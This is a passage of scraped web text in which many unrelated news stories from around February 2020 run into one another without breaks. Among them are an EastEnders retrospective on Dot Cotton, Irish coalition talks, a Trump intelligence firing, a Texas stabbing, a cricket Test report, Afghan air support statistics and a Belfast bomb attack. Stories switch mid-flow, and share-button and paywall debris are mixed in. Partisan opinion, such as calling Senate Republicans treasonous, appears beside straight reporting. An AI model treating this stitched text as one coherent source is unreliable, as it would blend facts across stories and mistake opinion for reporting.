nursing home. Tragic: In 2004 Dot was diagnosed with kidney cancer, and originally refused to undergo treatment, determined to keep the news a secret from her friends and family Dot is diagnosed with kidney cancer (2004) After being diagnosed with kidney cancer, Dot was determined to keep her illness a secret from her friends, family and even her husband Jim. Despite confiding in her pal Dennis Rickman, Dot refused to undergo chemotherapy and simply decided to quietly pass away. But eventually Dot was convinced to undergo treatment and went onto make a full recovery. Iconic: In 2008 Dot made soap history in EastEnders' first ever single-handed episode, which earned her a BAFTA nomination for Best Actress Dot makes history with soap's first ever single-handed episode (2008) In a television first, Dot took centre stage in an episode which saw her come to terms with the news that her husband Jim had suffered a stroke. The episode simple saw Dot record a message for Jim in her home, and in the episode she openly talks about her Christian faith, her childhood, but in a sombre moment reflected on that fact that everybody who was ever close to her had since passed away. It was the first time a soap ever released an episode that featured just one character, and was even named after the Tony Jackson song Pretty Baby, which Dot said her guardian Will used to sing to her as a little girl after she was evacuated to Wales during the Second World War. June's performance in the episode earned unanimous praise from viewers and critics, and even received only the second BAFTA nomination for a performance in a soap. At the end of her tether: In 2015 Dot finally realised that her son Nick was beyond redemption, and watched him die after overdosing on heroin Tragic: The dark scenes saw Dot ignore her son's suffering as he confessed to Reg Cox's murder, and she was eventually jailed for the crime Dot watches her son Nick die after he overdoses on heroin (2015) Dot's son returned to Albert Square several times over the years, and he breathed his last during the soap's 30th Anniversary specials after becoming addicted to heroin. On the run from the police, Nick hid a derelict house after surprising Dot who believed that he was dead. Unable to control his addiction, Nick begged Dot to get him some more drugs, and finally convinced that her son was beyond redemption, she agreed. Sat at his side with a cigarette, Dot watched her beloved son overdose as he confessed to murdering Reg Cox, and rather than call an ambulance, she simply watched his life slip away. Dot later confessed to the police that she is responsible for Nick's death, and is eventually found guilty of manslaughter and sentenced to 14 months in prison. Upsetting: In one of Dot's final story lines in 2019, she was devastated to see her beloved friend Dr Legg pass away from pancreatic cancer Shocked: She was then stunned to learn that the longtime pal had left her his entire estate, making her a millionaire Dot becomes a millionaire after Dr Legg dies (2019) In one of Dot's final story lines, she was reunited with longtime friend Dr Legg, who returned to Walford in 2018, 34 years after his first appearance. Dr Legg broke the news that he is dying of pancreatic cancer, and asked her to help plan his funeral, and in his final moments he reminisced about meeting his late wife Judith before slipping away. Dot is then stunned to learn that Dr Legg has left her his entire estate in his will, leading her lodger Stuart Highway to declare 'She's a millionaire!' But Dot refused to keep all of the money and instead decided to share it with her family and buy her house from the council. Fianna Fail leader Micheal Martin is set to seek common ground with Taoiseach Leo Varadkar on party policies when both men meet next week amid efforts to form a government. The face-to-face talks, expected to take place on Tuesday, will be policy-led and not about positions, said Fianna Fail sources. While Mr Varadkar told Mr Martin on Thursday night that he could not enter formal negotiations without the mandate of the Fine Gael party, the exploratory talks are expected to go through common policies between the two groups, including in housing, health and climate change. Mr Martin is expected to reiterate what he told the Dail during a debate on Thursday regarding government formation, in that Fianna Fail has been given a mandate by voters to form a coalition. However, Mr Varadkar is expected to seek parity for Fine Gael in any possible government talks. After his own party met earlier this week, Mr Varadkar said Fine Gael was preparing for a spell in opposition but that it was willing to help form a government if all other options are exhausted. Speaking in Brussels while attending an EU summit, Mr Varadkar again stressed the need for his party to be treated equally when it came to government-formation talks. The position with Fine Gael is what it was before. We are preparing for opposition. We think those parties that are now in opposition should form a government. They have more than enough numbers to do so . We are willing to talk to other parties about participating in government if the opposition fails to put together a government. But that is not something that we are planning to do or looking for. And it could only ever happen on the basis that there is full respect for the fact that we did win 450,000 votes in this election. We have 35 seats. We didnt win this election, but we have almost as many seats and votes as Fianna Fail and not that many fewer than Sinn Fein. But I dont see any evidence yet that that is recognised by any other party. Mr Varadkars defence of Fine Gaels support and standing with voters comes amid recent speculation the issue of a rotating taoiseach may be a factor in any deal between him and Mr Martin. When his predecessor, Enda Kenny, offered Mr Martin a full partnership government after the 2016 general election, this included a proposal for a rotating taoiseach where each leader would hold the role for half a Dail term. It was rejected by Mr Martin. Asked about the same scenario forming part of these fresh coalition talks, Mr Varadkar said this was not even discussed when he took the call from Mr Martin on Thursday night. Senior Fianna Fail sources are also insisting this will not form part of the opening meeting between the two leaders when they meet next week. The issue of a rotating taoiseach is beyond premature, said a source. Party sources expect Mr Varadkar to push to be considered an equal in any government talks, even though Fianna Fail came back with three more seats than Fine Gael. We can see where Leo is going to try and go with this. But this is about policy and not personalities or positions, explained the same source. 16.2k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Trump fired his Director of National Intelligence because the election security office held a briefing and gave information to Rep. Adam Schiff. The Washington Post reported: Maguire had been considered a leading candidate to be nominated for the post of DNI, White House aides had said. But Trumps opinion shifted last week when he heard from a GOP ally that the intelligence official in charge of election security, who works for Maguire, gave a classified briefing last Thursday to the House Intelligence Committee on 2020 election security. It is unclear what the official, Shelby Pierson, specifically said at the briefing that angered Trump, but the president erroneously believed that she had given information exclusively to Rep. Adam B. Schiff (D-Calif.), the committee chairman and that the information would be helpful to Democrats if it were released publicly, the people familiar with the matter said. As the Chairman of the House Intelligence Committee, Adam Schiff is legally entitled to information on US election security. Schiff was well within his constitutional oversight requirement to get the information, and it is revealing that none of the information was leaked out by Democrats, even though the briefing occurred a week ago, Donald Trump is afraid of Adam Schiff, and he is also trying to punish him by withholding information that will prevent the chairman from carrying out his oversight duties. It isnt enough that Senate Republicans committed treason and enabled Putin with their show impeachment trial. Trump is trying to destroy any mechanism that can provide a check on his behavior. Trump is obsessed with erasing the 2016 Russia scandal that he alerted the entire country of he and Putins plot to steal another election. For more discussion about this story join our Rachel Maddow and MSNBC group. Follow Jason Easley on Facebook Voters in Togo will head to the polls this weekend to choose between keeping a 50-year dynasty or a new leader. Long-standing President Faure Gnassingbe is widely expected to win Saturdays election, extending his familys 5 decades-long rule. A series of major protests swept the country in 2017 and 2018 demanding that Gnassingbe leaves power. However, demonstrations were choked by a fierce government crackdown. The Togolese national election commission has revoked a main independent observer groups accreditation to monitor the presidential election, just days before the vote takes place. Togo is the 10th poorest country in the world, according to the International Monetary Fund, and the country received 330 million in European Union aid between 2014 and 2020. The EU froze aid from 1993 to 2007, citing the countrys poor democratic record. According to the World Food Program, about half of the population is affected by food insecurity, while almost 70 percent of rural households live below the poverty line. Meanwhile, Gnasssingbe has promised to create 500,000 jobs across the country by 2022 to ease the frustrations of the large number of unemployed youths in the country. Ravi Zacharias recovering 'well' after undergoing emergency spinal surgery Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Christian apologist Ravi Zacharias is recovering well after undergoing emergency spinal repair surgery on Thursday, his wife has revealed. On behalf of Ravi and our family and team, we are truly overwhelmed and deeply grateful for your outpouring of concern, encouragement, and especially your prayers for Ravis spinal surgery today, Margie Zacharias wrote on Twitter Thursday evening. Ravi is well and he is resting, she continued. The doctor anticipates his pain now will be from the surgery itself, and we are praying for relief and comfort as Ravi begins the recovery process. Thank you again for your love and your prayers. It all means so much. I know the Lord has been present in the OR today, and I pray that He will give Ravi the ability to handle what is ahead for the next several weeks. On Wednesday, the 73-year-old head of Ravi Zacharias International Ministries revealed on his website that he has a history of serious back issues and to date has had two surgeries, the first of which resulted in 18 good years in which he said the Lord brought him comfort and strength. But over the last year, I have battled several flare-ups, and after my last trip to the Philippines and Sri Lanka, its a miracle I got home on my own two feet, Zacharias wrote, adding that a recent CAT scan and MRI showed no option but to go into a surgery immediately. Its time for a serious repair job that will take me off the road for close to eight weeks, he shared. The surgeon has said he will have to remove two of the screws that are loose and anchor my fractured sacrum in two places to the pelvis. Thats in lay language, but I have the best of doctors and surgeons who have loved this ministry and want to see me positioned for the distance. The doctor has described it as an emergency, but he is equally confident of success, he added. The speaker and author said he will be recovering until the beginning of April and anticipates some days of pain and struggle. Ezekiel asks the question, Can these dead bones live? The answer is a resounding Yes as God breathes new life into them, he concluded. The Lord has never forsaken me and He is by my side. I am a blessed man. As I recover, I will pray, read, and write. On social media, a number of ministry leaders offered prayers and well-wishes for Zacharias, including Louie Giglio and Franklin Graham. "Would you join me in prayer for our friend @RaviZacharias as he undergoes emergency spinal repair surgery tomorrow? I know he & his family would appreciate it," Graham tweeted. Would you join me in prayer for our friend @RaviZacharias as he undergoes emergency spinal repair surgery tomorrow? I know he & his family would appreciate it. https://t.co/btFCNvIq6n Franklin Graham (@Franklin_Graham) February 19, 2020 Zacharias was scheduled to speak on Feb. 25 at the NRB 2020 Convention in Nashville, Tennessee. Taking his place that evening will be Abdu Murray, senior vice president of RZIM and host of the RZIM podcast The Defense Rests, and Jonathan Evans, managing director at The Urban Alternative and son of Dr. Tony Evans and the late Dr. Lois Evans. We will be in prayer for Ravi before, during, and after the surgery and we encourage others to do the same, said Troy Miller, interim CEO of NRB. Photo credit: Courtesy Douglas Elliman From House Beautiful Photo credit: Courtesy Douglas Elliman If youve ever wanted to live like a character in an Edith Wharton novel, now is your chance. One of Manhattans last Gilded Age mansions is back on the market for a cool $50 million, following a restoration after a fire that broke out in the fall of 2018. The property first hit the market in 2017 for the same price. The restoration work was approved by the Landmarks Preservation Commission and it stays true to the original state of the former residence. The 20,000 square foot mansion counts the five successor states of the now nonexistent Yugoslavia as its ownersMacedonia, Slovenia, Croatia, Serbia, and Bosnia. Currently, the building is used as an office for the Permanent Mission of the Republic of Serbia to the United Nations. Photo credit: Gamut Photos Inc. Robert Livingston Beeckman, a stockbroker and former Governor of Rhode Island, was the original owner of the landmark mansion, which was built in 1905. In 1912, Beeckman sold the mansion to George Grant Mason for $725,000, which was the most expensive price paid for a residential property in Manhattan during this time. Emily Thorn Vanderbilt, the granddaughter of Cornelius Vanderbilt, was also among the list of prior owners. She is responsible for the angel frescoes seen on the ceilings, as well as the gold cherubs on the moldings of the ceiling, all of which aligns perfectly with the Style Louis XV decor seen throughout. "Most of the furniture is not original," says listing agent Tristan Harper, of Douglas Elliman. "Before the building was purchased in 1946, the estate of then-owner Emily Thorn Vanderbilt auctioned off most of the furniture and furnishings." But, the mansion still has its fair share of Gilded-Age touches: "Two important 18th-century tapestries remain as well as hand-painted ceilings in some rooms and custom antique boiserie and gold leaf paneling," Harper says. Photo credit: Courtesy Douglas Elliman The property, which is located between East 66th and East 67th Streets, was declared a historical landmark in 1966. In addition to its impressive location, the mansion boasts a stunning view of Central Park and interiors that were inspired by the Palace of Versailles (casual). The mansion, which is of the Beaux-Arts style of architecture, consists of six floors and features 17 fireplaces. Story continues Follow House Beautiful on Instagram. You Might Also Like SAN SABA, Texas A man fatally stabbed three people, including a 13-year-old girl, in a small central Texas city early Friday before leading officers on a car chase and eventually being arrested, police said. Sheriffs deputies in San Saba, a community of about 3,000 people 100 miles (160 kilometers) north-west of Austin, received a call around 4:30 a.m. from a 18-year-old woman who said she was one of four people stabbed inside a home, said Sgt. Bryan Washko of the Texas Department of Public Safety. Officers arrived to find a 62-year-old man, a 44-year-old woman and the girl dead, Washko said. He could not provide the names of the victims or the 22-year-old suspect. He also said its unclear how they are connected and that no motive is known at this point. The Texas Rangers were investigating. The girl was a seventh-grade student at a local school, which was open and offering counseling, said San Saba Independent School District Superintendent Wayne Kelly. Its hit us pretty hard, Kelly said. When there are only 200 kids in the junior high they tend to know each other. Kelly described the stabbings as a domestic situation but said he could not elaborate. He declined to name the student. Moments after the stabbings, Washko said, the suspect fled in a car belonging to one of the victims. Police gave chase and followed him for 20 miles (32 kilometers) into the city of Goldthwaite, where he crashed into the wall of a senior citizen center and was arrested, he said. No one, including the suspect, was injured in the crash. Anthony Wayne Pierce was being held Friday in the Mills County jail in connection to the stabbings, jail employee Disa Purcell said. She said the 22-year-old is charged with aggravated assault on a public servant and evading arrest, and that more charges could be filed. Washko could not immediately confirm whether Pierce was suspected in the stabbing. The woman who survived the stabbing was hospitalized in critical condition, Washko said. WASHINGTON ( ) D.C. has long been considered one of the most onerous places in the country for traffic fines, seeing a steady climb year to year in tickets issued and revenue generated. But recently the District broke into stunning new territory, issuing more than $1 billion in tickets in just three years. I don't know another local jurisdiction in the entire nation that has generated as much money from traffic tickets, parking tickets and moving violations," said John Townsend, Public Relations Manager of AAA Mid-Atlantic. That tells us that things are out of control and out of hand in the District of Columbia. AAA's John Townsend discusses documents with WJLA's Lisa Fletcher Townsend closely monitors the District's ticketing behavior. He says this is a money-making operation that can't prove these high fines have made anyone safer. In fact, he says they haven't found any evidence that shows the amount of the fine modifies a motorists behavior. India's top-order batsmen performed woefully on a challenging track as the side crawled to 122 for 5 with New Zealand's towering pacer Kyle Jamieson rattling the visiting big guns on his debut on a rain-hit opening day of the first Test here. Friday's play was called off after tea due to a heavy downpour, the gloomy conditions typifying India's batting blues with only Ajinkya Rahane (38 batting off 122 balls) matching wares when it came to winning the mental battle. The 6"8' Jamieson could not have asked for a better start, picking up 3 for 38 in 14 overs and his prized scalps included two of India's best long-form batsmen -- skipper Virat Kohli (2) and the dogged Cheteshwar Pujara (14 off 42 balls). He also took a lovely catch in the deep to cap off a day he will remember forever. What Jamieson did wonderfully well was mix up the back of the length stuff with fuller deliveries in between. He bowled the natural back of the length deliveries that climbed on the batsmen, pegging them on backfoot. He also mixed it up with fuller deliveries when the batsmen were just a tad unsure of their footwork. Bowling at barely 130 kmph, he troubled the visitors making it easier for senior pros Tim Southee (1/27 in 14 overs) and Trent Boult (1/44 in 14 overs) to bowl a more probing line. Such was the disciplined effort from the Black Caps bowlers that India managed only 43 runs in the second session. Rahane played 122 balls, hitting four boundaries on a heavy outfield. Rishabh Pant was at the other end on 10. Mayank Agarwal (34 off 84 balls), who did the hard work of surviving the first session, was out after lunch as he tried a pull shot off Boult just after surviving a tough caught and bowled chance. Hanuma Vihari (7) was Jamieson's third victim when he edged a pitched up delivery. Once Kane Williamson called it right under the overcast conditions, it was a challenge for the Indian batsmen. Prithvi Shaw (16 off 18 balls), Pujara and skipper Kohli were back in the pavilion with debutant Jamieson keeping up the pressure. Young Shaw clipped one off Boult and also hit an uppish square cut to get two quick boundaries. But his loose technique and tendency to close the bat face was always going to cost him. Southee bowled one that looked like angling in and Shaw closed the bat face as the ball moved a shade away after pitching, brushing his pad and then the off-stump. The batsman had a dazed look knowing that his technique was thoroughly exposed on a seamer-friendly track. Pujara was ready to show a lot of patience as he started leaving deliveries outside the off-stump. However, Jamieson, coming in as the second change, bowled his back of length delivery on the off-middle channel. Pujara had no option but to jab at the rising delivery which kissed the outside edge of his bat and was taken by BJ Watling. Lot of hopes were pinned on skipper Kohli but a smart ploy by Jamieson brought about his downfall. Kohli was playing Jamieson for the disconcerting bounce that he generated from back of the length but in between, he decided to slip one fuller delivery on the fourth stump channel. Kohli lunged into the drive and the thick edge was taken by the '100 Test man' Ross Taylor, standing at the first slip compounding India's troubles. Rahane will have a lot of responsibility going into the second day's play. The under-fire Pant is also defending well which is the need of the hour. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Greek coroner is under investigation after falsely claiming that a Syrian baby had been sexually abused before she died, leading to her parents' detention and a two-day media frenzy. "The autopsy showed signs of abuse, sexual abuse," coroner Sotiris Bouzianis told reporters earlier this week. "In our experience, this is unheard of." The 11-month-old, who had microcephaly, a condition where the head is abnormally small, was already dead when her parents brought her to a hospital on Sunday. Her cause of death is still unclear, Bouzianis said. The parents -- who are living in Greece as refugees -- and another Syrian couple were detained by police and the girl's father was subjected to DNA tests. Officials determined on Wednesday that the injuries were caused by enemas that were part of the baby's microcephaly treatment -- as her mother had insisted from the start. In the meantime, the case sparked a host of xenophobic comments -- both from TV pundits and from the couple's neighbours in the Athens district where the family lived in rented accommodation under the refugee programme. "How could this monster do such a thing, imagine what else these sort of people can do, not even an animal would do that," a guest speaker said on ANT1 TV. The justice ministry called for a disciplinary investigation into the coroner's statement and the parents demanded an official apology. On Friday, the family left their house. A spokesman for the UN refugee agency criticised the way the case was dealt with, saying it was "beyond regrettable that this was handled irresponsibly by the coroner". Boris Cheshirkov told AFP some reports had been "sensational, stigmatising and plainly cruel". "We all have a duty of care, balanced reporting is essential, all the more so in these heartrending circumstances," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) In Afghanistan the most effective military support for the government forces is from the air, followed by special operations troops and air controllers on the ground to promptly call in that air support. The air support also includes communications, intelligence collecting and surveillance support. The U.S. only has a few dozen combat aircraft stationed in Afghanistan and can call in heavy bombers (B-2B, B-52) stationed elsewhere in the region. The U.S. air support system is quick to respond and, because it only uses guided missiles or smart bombs, the airstrikes are very precise, effective cause far fewer civilian and friendly troop casualties than in past air support efforts. Nearly all this air support is for Afghan forces and to get American support those Afghan troops must have an American air controller team with them. This is the limiting factor on how much air support the U.S. can provide. Over the years these air controller teams have been deployed more effectively as the Afghans learned to plan their ground operations more efficiently. For emergency support, Afghan forces can call on the Afghan Air Force, which has more air controllers (about fifty teams) but ground attack aircraft that are more limited. There are 36 ground-attack aircraft, mainly 26 A-29 single-engine turboprop armed trainers carrying heavy machine-guns plus, in most cases, unguided rockets and bombs. There are ten even smaller Cessna 208s that use Hellfire missiles. There are also a few dozen armed helicopters using machine-guns, unguided rockets and laser-guided Hellfire missiles. The helicopters have very short (under a hundred kilometers) range while the fixed-wing aircraft can hit targets up to 500 kilometers from their base, though it takes an hour to go that far. Because of these limitations, the most effective air support, which can be anywhere in the country and on very short (often minutes) notice are the American or NATO fighters and bombers. American air support for 2019 was one percent greater than in the record setting total for 2018. During 2019 there 7,423 airstrikes compared to 7,362 for 2018. Thats about 20 a day for both years. This is a major increase from 12 a day for 2017, 3-4 a day for 2016 and 2-3 a day for 2015. Since 2018 American airpower was used more often in Afghanistan than at any other time, including the 2011 surge. In 2018 coalition warplanes (mostly U.S.) used 15 percent more bombs and missiles than in 2011. Coalition warplanes performed more sorties a month, with 15 percent of sorties resulting in weapons being used. This includes AC-130 gunships but not attack helicopters or UAVs. In some months the U.S. Air Force used more smart bombs and missiles than at any since late 2010. The effectiveness of this air support relies on a communication system that enables U.S. air controller teams anywhere in the country to contact any American bombers or fighters nearby (within a few hundred kilometers, or more) and get them to the target to deliver smart bombs. The fighters and bombers are equipped with targeting pods that enable the pilots to see detailed pictures of what is on the ground so they can assist the air controllers with sorting out what is going on down there. The communications are made possible by high flying (13,000 meters/40,000 feet) BACN (Battlefield Airborne Communications Node) aircraft that deal with the many high mountains and deep valleys found in Afghanistan and immediately connect air controllers, and any other American combat units, with U.S. aircraft. Because of this system, in use for over a decade, heavy bombers (B-52s or faster B-1Bs) can circle in a central location and quickly get to where they are needed and drop a few smart bombs. There are also F-16s and A-10 aircraft that can do the same, plus the A-10 can also come in low and use its 30mm autocannon. There is more to American air support than the quickly delivered smart bombs. In fact, there were only 8,773 strike sorties during 2019 and only 28 percent of those resulted in weapons being used. There were twice as many air reconnaissance or surveillance sorties to keep track of the enemy. There were also 11,000 transport sorties that carried 78,700 tons of cargo and 141,000 passengers. There were also 276 tons of cargo delivered by parachute, often using GPS guided parachutes which land the cargo exactly where it is needed. Finally, there were 2,637 refueling tanker sorties, to enable the fighters and bombers to stay in the air longer by refueling 12,800 aircraft. American air support has become more efficient over the last decade, requiring fewer recon and strike sorties because of improved technology. The greater use of American airpower has had a dramatic and damaging impact on the Taliban. Prisoner interrogations plus eavesdropping on internal or public Internet chatter show declining morale, higher desertion, fewer recruits and higher pay and benefits to keep numbers up. There is also more pressure on Taliban field commanders, by their own gunmen, to keep casualties down. This can be done by avoiding actions that will attract airstrikes. A common mistake is attacking army or police bases or staying in one place too long while blocking an army or police operation. Too long is often an hour or more and after that, if not earlier, the deadly smart bombs arrive. In some situations, where the Afghan forces are carrying out offensive operations, air support will arrive in minutes. This puts Taliban commanders in a difficult position as they cannot afford to stay in contact with Afghan forces for too long. Worse it often means that Taliban groups will be under attack for a while, or at least until they disperse or otherwise evade detection from the air or ground forces. Some Taliban field commanders are better at dealing with this than others and all Taliban combat commanders know that if they are too successful they get put on a priority hit list which often leads to an early death. The foreign air forces are providing over a hundred airstrikes a week. The Afghan Air Force provides much less (about a quarter of what the foreigners provide). Afghan airstrikes increasingly use laser and GPS guided bombs. Afghan soldiers and police are big fans of the smart bombs and missiles because it means that, if they have cornered the enemy, one such smart bomb will cripple or destroy the opposition and enable the Afghan soldiers to advance without having to deal with much (if any) defensive fire from the enemy. Afghan soldiers and police are much bolder when they have air support and that leads to more combat operations and more casualties, especially among their opponents. For the Afghans, losses are more palatable if you know the enemy is far worse off. Moreover, the Afghan Air Force use of smart bombs means they can operate effectively at night. Finally, the air controller on the ground can talk to the pilot in Dari (the common language in Afghanistan) and this is a lot more effective and comfortable than doing it in English. Since the Afghan Air Force began using laser-guided bombs in early 2018 they were using about six a week with the number increasing as more bombs are available. Since 2018 the major limitation on the use of Afghan Air Force support has been the availability of Afghan air controllers, who have proven more difficult to recruit and train than pilots. There are so many Bloomberg quotes out there beyond horse-faced lesbians that should be of concern. Bloomberg thinks that taxing the poor is the best means to bend them to his will. He looks down his nose at the little people, at farmers and factory workers, and has said that the Constitution is just too old- fashioned for his tastes. Share this article Whatsapp Facebook Twitter Linkedin Ardila Syakriah (The Jakarta Post) Jakarta Fri, February 21, 2020 Amid a series of attacks on churches in Indonesia, observers have demanded the government revise a decree that requires local residents to approve the construction of houses of worship. Since the signing of the 2006 joint ministerial decree on places of worship, religious minorities have struggled to obtain permits to construct them. Although Indonesias Constitution guarantees freedom of religion for every citizen, the decree requires a congregation to obtain 90 signatures from its members and another 60 from other residents before building a house of worship. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Museum commemorating 21 Coptic martyrs beheaded by ISIS opens in Egypt Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A Coptic martyrs museum has opened in Egypt to commemorate the 21 Christians beheaded by the Islamic State on a Libyan beach in 2015 because they refused to renounce their faith in Christ. The world was shocked after the Islamic State released an execution video on Feb. 15, 2015, showing the decapitation of nearly two dozen migrant workers, 20 of whom were Christians from Egypt and one who was a Christian from Ghana. The video was titled: "A Message Signed With Blood to the Nation of the Cross. On the fifth anniversary of that horror, Coptic Bishop Bevnotious of Samalout inaugurated a new museum that honors those killed. According to the online magazine Cairo Scene, the new museum is housed in the Church of the Martyrs of Faith and Homeland. The church, built in the poor village of Al-Aour in the Minya governate, opened in February 2018 on the third anniversary of the execution videos release. The churchs construction was funded by the Egyptian government, which is led by President Abdel Fattah el-Sisi. Al-Aour is the village where 13 of the workers killed in the video were from. The church has become a pilgrimage site for many Christians since it is the final resting place for the 21 martyrs. The museum will include a documentary panorama that will teach viewers about how the 21 men were kidnapped and executed. The museum also features a shrine with the remains of the martyrs and the coffins that transported them from Libya to Egypt. A Catholic press agency reports that the museum features exhibits on the victims' lives. In addition to the museum, a memorial honoring the martyrs was also inaugurated. The memorial features a 13-foot tall statue of Jesus Christ with His arms outstretched, open to the statues of the 21 victims kneeling before Him, seen here. In the widely shared execution video from 2015, the victims were shown kneeling in a line before their captors right before they were beheaded. Their bodies were then thrown into a mass grave. Their bodies were later discovered by Libyas interior ministry in 2017. As Egypt ranks as the 16th worst country in the world when it comes to Christian persecution on Open Doors USAs 2020 World Watch List, Coptic Christians have on many occasions faced discrimination and persecution in the Muslim-majority country. Several attacks against Coptic Christians over the years have gained international headlines. In May 2017, 29 Copts were killed while traveling to a desert monastery in Minya when their bus was attacked by Islamic radicals. A similar bus attack occurred near the same monastery in November 2018 in which seven were killed and at least 20 were injured. In recent years, Copts have also been the target of deadly church bombings as well as a string of killings believed to be carried out by militants aligned with the Islamic State in Sinai. In Al-Aour, the deaths of the martyrs have only strengthened residents faith. Author Martin Mosebach wrote about his visit to Al-Aour in his recent book The 21: A Journey into the Land of Coptic Martyrs. Mosebach heard stories from family members about how the martyrs are being credited with modern-day miracles. These communities and congregations are very educated and know the faith, Mosebach told The Christian Post last February. In the spirituality of the Copts, miracles are a very important thing. Mosebach explained that some of the miracle stories include the martyrs being credited with saving children who fall out of windows, curing sick people and even healing a woman of infertility. Miracles didnt save the [21] from decapitation but did prove that their sacrifices had made them Christlike and therefore accepted as such, Mosebach wrote. Throughout his presidency beginning in 2014, Sisi has made attempts to promote religious freedom, legalize churches and denounce radical extremism. However, some Christians still face punishment for their advocacy for human rights and religious freedom. Last November, Coptic activist Rami Kamil was arrested on accusations of terror activity. Advocates said Kamils arrest appears to be an effort to punish him for his work as a human rights defender. In the face of huge economic, political, social and security challenges, the government of President el-Sisi seems to spare little regard for basic human rights and democratic pluralism, a fact sheet from Open Doors USA reads. Thus, religious freedom for Christians is not fully guaranteed. Egyptian Christians are often victims of social exclusion and face constant discrimination in areas such as justice, education and basic social services. In rural areas, Christian women have been targeted for abduction and forced marriage. Amid the Coronavirus outbreak, nearly 200 couples exchanged vows in Central Philippines, international media reported. In an unprecedented development, the deadly virus has reportedly infected nearly 76,600 and killed at least 2,200 people. According to international media reports, 11 out of the total died outside mainland China. Ceremony organised by Bacolod authorities The mass wedding ceremony which was conducted in the coastal town of Bacolod was attended by 220 couple and their relatives who braved the deadly epidemic. According to international media, the lobby of the city hall was filled with people wearing white shirts and gowns along with the blue masks, which were mandatory for all, and provided by the authorities. Read: Man's Death Fuels Coronavirus Speculations In Ladakh; UT Administration Assuages Concerns John Paul Inventor who also took the vows at the ceremony told international media that it feels different to kiss while wearing a mask. Another man Mayor Evelio Leonardia said that if their families are strong, the whole city becomes strong. In order to participate in the mass ceremony, people had to complete a complete health declaration detailing a travel history for 14 days. Read: Harsh Vardhan Asks States To Maintain Vigil Against Coronavirus; No New Cases In India Read: Iran Reports 2 More Deaths, 13 New Cases Of New Coronavirus Annual mass weddings are a post-Valentine's Day tradition in the city, with a record of 2,013 couples participating in 2013. Mass weddings are also a distinguishing feature for a church in South Korea that prepared hand sanitizer and handed out surgical masks for some of the roughly 30,000 people who attended a ceremony this month. The Philippines has recorded the first coronavirus death outside China, among three infections, all of them Chinese nationals, but at least three dozen of its citizens based overseas have caught the virus. Read: Donald Trump 'doesn't Mind' Philippines Ending 20-year-old Military Pact Read: Man's Death Fuels Coronavirus Speculations In Ladakh; UT Administration Assuages Concerns Meanwhile, Israel confirmed its first case of new coronavirus on Friday of a citizen who flew home from Japan earlier this week after being quarantined on the stricken cruise ship Diamond Princess. By Express News Service RAMESWARAM: A fisherman from Rameswaram sustained eye injury after the Sri Lankan Navy allegedly opened fire at fishermen who were vying for a catch near Katchatheevu on Wednesday night. The injured fisherman has been identified as V Sesu Alangaram. He has been admitted to a private hospital in Madurai, where he is being treated for the injury. Sources said that when fishermen in nearly 50 mechanised boats were fishing near Katchatheevu, one nautical mile into the Sri Lankan territorial waters on Wednesday night, the Lankan Navy personnel surrounded them and opened fire. They said that a bullet hole was found on the windshield of the boat used by six fishermen, including Sesu. Sesu Alangarams injury on the right was caused possibly due to the glass shards that scattered during the firing, they said. Hospital sources said that he suffered corneal tear and that the foreign body found in his eye would be ascertained only after its removal through retina surgery. It will be performed on Friday. Corneal tear Hospital sources said that he suffered corneal tear and that the foreign body found in his eye would be ascertained only after its removal through retina surgery. It will be performed on Friday. Martin Finucane beside the window damaged in the bomb attack A failed bomb attack on the home of the brother of the late Pat Finucane has been widely condemned. The west Belfast property of Martin Finucane, the uncle of Sinn Fein MP John Finucane, was targeted yesterday. A device was thrown at the building in the Glenties Drive area around 6.30am. A window was smashed and a vehicle was heard leaving the area around that time. The device, described as having an accelerant, batteries and nails, did not ignite. A flammable cloth and gas cylinders were also found. The west Belfast man is a founding member of the victims' campaign group Relatives for Justice and the brother of solicitor Pat Finucane, who was murdered by loyalist gunmen in 1989. Sinn Fein yesterday did not comment on whether it believed it was linked to threats issued against the party in recent days. Yesterday Martin Finucane, who has supported his family's long-held campaign for a public inquiry into his brother's killing, said he was not a member of any political party. However, he did not appear to rule out the attack being orchestrated by dissident republicans. On Monday, Sinn Fein's Northern Ireland leader Michelle O'Neill and party colleague Gerry Kelly said that the PSNI had warned them that dissident republicans were planning attacks on party leaders. Yesterday, Martin Finucane said: "Firstly, I don't understand why it has happened. "Secondly, I hope I am the last person to be attacked. If it's in connection with any ulterior motive, as we all know, threats have been issued to members of Sinn Fein." He added: "I would like them to explain why this has happened to me, I am not a member of Sinn Fein." The threats against Sinn Fein have been met with widespread scepticism from 'dissident' republicans with many believing that no such threat exists. The party would not be drawn when this newspaper asked if it thought the attack was part of a targeted campaign against Sinn Fein members and their relatives. A party spokesperson directed the Belfast Telegraph to a statement by Paul Maskey condemning the incident as "reckless". His comments were echoed by John Finucane, the North Belfast MP, who said that the family were left in the dark as to why his relative's home had been attacked. "There's a sense of confusion as well. There's no understanding at all as to why my uncle's house was targeted," he said. He branded those behind the incident "cowards". "I would ask them to rethink what it is they were out doing this morning," he added. "To attack my uncle is something that shouldn't happen. I would call on people with influence to make sure that that is the last time someone's home is attacked." Detective Sergeant Keith Wilson said yesterday that a motive behind the attack has not yet been established. "It could have ignited... thankfully it didn't," he said. Police said it was fortunate Mr Finucane and his son - in the property at the time - were not injured. Relatives for Justice said in a statement it was "sickened" to learn of the bomb attack, while the Pat Finucane Centre said it was "shocked" at the attack on one of its board members. Police are appealing to anyone with information to contact them on 101 quoting reference 212 20/02/20, or to phone Crimestoppers on 0800 555 111. The road connecting Faridabad to Noida which was blocked for the last 69 days since the anti-Citizenship Amendment Act protests began at Shaheen Bagh in south east Delhi was opened on Friday after intervention by the Supreme Court appointed interlocutors. IMAGE: After 69 days, Noida-Faridabad road reopened on Friday. Photograph: ANI The road connecting Noida with Delhi, however, still remains closed. The partial breakthrough is likely to ease traffic movement between Delhi and Noida. The interlocutors appointed by the Supreme Court had on Thursday indicated the possibility of opening of some routes despite the stalemate in talks with the protestors who have refused to abandon their protest venue until the Citizenship Amendment Act they are opposing is repealed. Senior advocates, 